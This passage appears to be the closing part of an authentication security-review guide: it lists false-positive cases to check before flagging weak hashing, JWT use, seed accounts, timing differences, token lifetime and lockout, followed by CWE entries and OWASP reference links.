- md5/sha1 hits used for cache keys, ETags, checksums, or non-secret identifiers — verify the input is actually a password/token.
- bcrypt cost 10 flagged where the org's documented standard is 10+; confirm policy docs before rating.
jwt.decodepresent but only for logging claims, with a realverifyupstream in middleware — trace call order before flagging.- Seed accounts confined to dev-only seeders guarded by environment checks (
RAILS_ENV=test,if env.DEBUG) and excluded from release builds. - Identical-looking responses differing only by compression artifacts; timing deltas within network jitter (< ~50 ms inconsistent).
- Long-lived refresh tokens WITH rotation and reuse-detection implemented — long life alone is not the flaw.
- Test backdoors gated behind explicit test-only build flags verified absent in shipped bundles.
- Lockout "missing" because protection lives at WAF/gateway layer outside the repo — note as external control, not absent.
References
CWE entries:
- CWE-287 Improper Authentication
- CWE-204 Observable Response Discrepancy
- CWE-307 Improper Restriction of Excessive Authentication Attempts
- CWE-330 Use of Insufficiently Random Values
- CWE-384 Session Fixation
- CWE-521 Weak Password Requirements
- CWE-613 Insufficient Session Expiration
- CWE-620 Unverified Password Change
- CWE-640 Weak Password Recovery Mechanism for Forgotten Password
- CWE-798 Use of Hard-coded Credentials
OWASP (stable URLs):
- OWASP Top 10 2021 A07 Identification and Authentication Failures: https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
- Authentication Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
- Session Management Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html
- Password Storage Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html
- Multifactor Authentication Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Multifactor_Authentication_Cheat_Sheet.html
- Forgot Password Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html
- JSON Web Token for Java Cheat Sheet (framework-agnostic JWT guidance): https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html
- ASVS 4.0.3 V2 Authentication (2.1 password security, 2.5 credential recovery, 2.6 look-up secrets, 2.8 one-time verifiers) and V3 Session Management (3.1 fundamentals through 3.7): https://owasp.org/www-project-application-security-verification-standard/
- Web Security Testing Guide, Authentication Testing: https://owasp.org/www-project-web-security-testing-guide/